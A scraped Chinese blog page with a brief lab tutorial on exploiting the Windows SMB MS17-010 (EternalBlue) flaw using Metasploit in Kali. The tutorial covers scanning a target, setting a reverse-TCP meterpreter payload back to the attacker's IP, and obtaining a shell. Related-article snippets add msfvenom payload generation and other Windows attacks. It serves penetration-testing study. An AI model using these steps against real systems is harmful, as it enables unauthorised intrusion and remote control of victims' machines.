使用漏洞，工具：kail下的metasploit

最新推荐文章于 2025-06-14 08:41:43 发布
最新推荐文章于 2025-06-14 08:41:43 发布
阅读量201 收藏
点赞数
分类专栏： Kail 文章标签： 安全 windows
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/csdncsdnq/article/details/109406806
版权
本文详细介绍了如何利用MS17-010漏洞针对2008 Windows 7及类似系统进行攻击。首先通过msfconsole启动Metasploit框架，使用auxiliary模块进行扫描，然后切换到exploit模块，设置目标IP，选择合适的payload，配置本地IP以建立反向TCP连接。成功攻击后，会进入meterpreter提示符，表明攻击完成。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

文件共享服务，存在安全隐患
smb服务 服务上有漏洞
有关于smb的一个漏洞
漏洞编号：ms17-010
存在该漏洞的常用操作系统：2008 window 7
做服务器需要关闭防火墙，不给其他人提供服务了

kail下的MSF
先ping通，启动msf
启动命令:msfconsole
辅助模块：auxiliary 收集信息、测试
攻击模块：exploits 模块里面有攻击载荷：payloads

命令：use auxiliary/scanner/smb/smb_ms17_010
show options
在这里插入图片描述

set rhosts 192.168.10.6 设置目标地址
run 看是否存在漏洞
在这里插入图片描述

使用攻击模块
use exploit/windows/smb/ms17_010_eternablue
show options
set rhosts 192.168.10.6
set payload windows/x64/meterpreter/reverse_tcp 反向tcp连接
set lhost 192.168.10.128 配置载荷，让受害者连自己的ip
exploit
当出现meterpreter > 证明攻击完成
在这里插入图片描述

输入shell

Kali Linux 漏洞利用工具集 metasploit 教程
Sumarua的博客
07-27 2988
文章目录Kali Linux 漏洞利用工具集 metasploit 教程理解基本概念和术语metasploit 命令用法：核心命令模块命令工作命令资源脚本命令数据库后端命令凭证后端命令Metasploit效果与评价： Kali Linux 漏洞利用工具集 metasploit 教程 Metasploit Pro是一个开发和漏洞验证工具，可帮助您将渗透测试工作流划分为更小，更易管理的任务。借助Metasploit Pro，您可以通过基于Web的用户界面利用Metasploit Framework及其利用数据库
kali使用Metasploit进行渗透攻击
lhf13036943631的博客
05-06 1048
2、载入easyfilesharing_seh渗透模块，查看需要设置的参数并进行设置，启动模块。（2）查找与EasyFileSharing有关的渗透模块。（输入命令或操作过程、结果截图并进行必要说明）（输入命令或操作过程、结果截图并进行必要说明）（输入命令或操作过程、结果截图并进行必要说明）（输入命令或操作过程、结果截图并进行必要说明）（输入命令或操作过程、结果截图并进行必要说明）（输入命令或操作过程、结果截图并进行必要说明）（输入命令或操作过程、结果截图并进行必要说明）
Kali Metasploit 漏洞利用（1）
weixin_45780863的博客
02-29 310
实验环境 KaLi 与win7 ‘ kali ip =192.168.0.109 win7 ip =192.168.85.130 漏洞利用 1.启动Metasploit msfconsole 2.漏洞 use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp Show options 将目标IP填进去 ...
【kail】使用Metasploit 渗透Windows10
爪白白的个人博客
12-14 7171
一、在Kali Linux中生成被控端（msfvenom命令） 第一步：下面我们用msfvenom命令使用反向远程控制程序“windows/meterpreter/reverse_tcp”。该软件执行时自动连接IP“192.168.43.77”，连接的端口为“5000”，生成的文件为payload.exe，在/root目录下 msfvenom -p windows/meterpreter/re...
Metasploit工具漏洞利用MS08-067
陈珺的博客
08-12 2903
MS08-067漏洞复现收集靶机信息开始渗透后渗透命令相关命令 收集靶机信息 通过Nmap和Nessus收集靶机的IP，Nessus扫描是否存在漏洞 开始渗透 进入metasploit工具/普通终端输入msfconsle进入 测试渗透主机kali到靶机的连通性（ping） 找到kali后台针对ms08-067的漏洞利用（exploit） search ms08-067 利用漏洞 use 路径 查看利用漏洞需要配置的参数：show options 设置必要参数：lhost本机IP，rhos
kali 漏洞利用
ReZero's Blog
01-26 743
medusa -h target_ip -u uer -p passsword -M service u可替换为U后跟文件，同理p也可 M 后跟所攻击的服务（例如SSH） 2.
渗透工具之Kali MSF（metasploit framework）使用
赤赤三的博客
03-20 5042
初识MSF（渗透测试开源软件平台，一个漏洞利用框架，对计算机软件漏洞进行攻击） Kali查找MSF框架：cd /usr/share/metasploit-framework，进入windows攻击模块：cd /usr/share/metasploit-framework/modules/exploits/windows 学习路线：MSF了解------>安装MSF2-Linux靶机------->MSF基本使用方法------>MSF实战：攻击win7主机并远程执行命令|扫描靶机my
kail下的metasploit使用
csdncsdnq的博客
11-23 360
一、使用metasploit前的准备工作 修改yun源 vim /etc/apt/sources.list 更新 apt-get update apt-get upgrade 下载数字签名 wget archive.kali.org/archive-key.asc 安装签名 apt-key add archive-key.asc 使用metasploit先启用postgresql服务 systemctl start postgresql 允许开机启动postgresql systemctl ena
kail linux metasploit怎么使用
04-03
Kali Linux是一个流行的渗透测试和安全评估Linux发行版，Metasploit则是其其中一个重要的工具，以下是Metasploit在Kali Linux上的使用方法： ...在未经授权的情况下使用Metasploit可能会导致严重的法律后果。
kali最强渗透工具 - metasploit
m0_59356888的博客
05-19 786
payload中的LHOST为监听地址，是本地接口，也就是kali的IP地址，在这里可以看kali的IP地址，通过ifconfig查看,看里面的eth0（这里就是以太网的意思），我的是192.168.144.1，跟show options看到的一样就无需配置。再次show options查看，全部配置完全后，运行：run，即可对目标主机进行攻击。此网站里面有操作系统，绿色，没有任何捆绑软件，2017年之前都有永恒之蓝漏洞，我们只需要选择一个17年之前的版本，比如win7操作系统，推荐下载64位的操作系统。
Kali玩转Metasploit 实现安全漏洞检测
热门推荐
追风筝的孩子
08-01 1万+
          Metasploit就是一个漏洞框架,附带数百个已知的软件漏洞，并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。。它的全称叫做The Metasploit Framework，简称叫做MSF。Metasploit作为全球最受欢迎的工具，不仅仅是因为它的方便性和强大性，更重要的是它的框架。它允许使用者开发自己的漏洞脚本，从而进行测试。 ！！！Metas...
Kali WIndows 漏洞利用基础篇 （探索目标主机漏洞）
我不是猫叔
09-01 8800
通过使用Kali主机扫描工具Nmap和漏洞利用工具Msf来发现目标主机的系统漏洞和软件服务漏洞。因为很多教程只说了用什么漏洞去攻击，但是前提是该主机存在漏洞或者是该漏洞未被安装补丁（该Kali已经实体化在笔记本电脑上） 一.工具介绍 namp 一款可以探测主机的基本信息的扫描工具，数据包中包含扫描主机的开启端口，端口使用的服务，和一些系统信息。 msf一个极为强大的漏洞利用工具不管是系统漏洞...
入侵139端口实例
Json的知识梦工厂
06-24 9346
今天打星际，被一高手反复摧残，郁闷ing……于是上网活动一下。打开肉鸡猎手，在开始IP和结束IP中填入想扫描的IP端，点击开始，不一会儿之后，两台肉鸡出现在我们面前(图一)。 现在，让我们点击“开始”→“运行”→cmd.exe，打开可爱的命令行窗口。 输入：net use //218.80.236.37/IPC$ "" /user:administrator，提示“命令成功完成”。哈哈，现在我......
kali渗透--msf简单使用
qq_46635165的博客
04-17 6565
使用MSF（Metasploit）利用MS12_020 RDP远程代码执行漏洞 实验环境准备 1)一台 winXP 作为受害者（最好拍摄好一个快照）IP：10.1.1.2 2)kali 作为攻击者 IP:10.1.1.1 3)将攻击者和受害者桥接到同一网段，使他们能够相互ping通 漏洞利用条件 1）winxp开启3389端口(RDP) 2）未安装 ms012-020补丁 3）关闭防火墙 4）同一局域网下 漏洞复现 1,在kali中使用nmap对XP进行端口探测，nmap -sS -Pn -A 10.1
kali攻击139端口_利用Windows 系统漏洞MS12-020 进行攻击
weixin_33612966的博客
12-23 5506
转自本人博客：https://blog.youkuaiyun.com/qq_44276741/article/details/105505168Windows 系统漏洞MS12-020漏洞介绍MS12-020为windows下2012年爆出高危安全漏洞，该漏洞是因为Windows系统的远程桌面协议（RDP， Remote Desktop Protocol）存在缓存溢出漏洞，攻击者可通过向目标操作系统发送特定内...
内网中使用metasploit进行渗透测试
chengfangang的专栏
09-04 4725
在渗透测试时，metasploit往往作为后渗透工具。而大多数站点都内网ip。而本屌丝自己的机器也是内网ip，那么两个内网ip怎么建立连接? 以前总是使用lcx做端口转发连接站点的3389，是否也可以用lcx将metasploit和站点两个内网ip进行连接？发现是可行的。具体操作步骤如下: 网络环境: 由于物理机+虚拟机搭建环境所以如下模拟： mac的网络环境如下 T
安全生产台账系统
最新发布
hanwei020502的博客
06-14 230
Trivy离线扫描：容器安全实践指南!
tersky的专栏
06-13 571
Trivy离线扫描：容器安全实践指南!
代码填空题技术实现：突破 highlight.js 安全限制的工程实践
半岛铁盒里
06-11 1204
本文探讨了在交互式代码教育平台中实现代码填空题的技术方案。针对highlight.js过滤HTML标签导致无法直接插入输入框的问题，作者提出了先完成语法高亮再修改DOM的双阶段解决方案。关键技术包括：1) 利用nextTick确保Vue DOM更新；2) 采用MutationObserver监听高亮渲染完成；3) 在渲染后插入受控输入框元素。方案解决了安全性问题，同时优化了用户交互体验，包括输入框索引跟踪和状态保存。特别强调了在处理异步渲染时，MutationObserver比嵌套nextTick更可靠。该
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值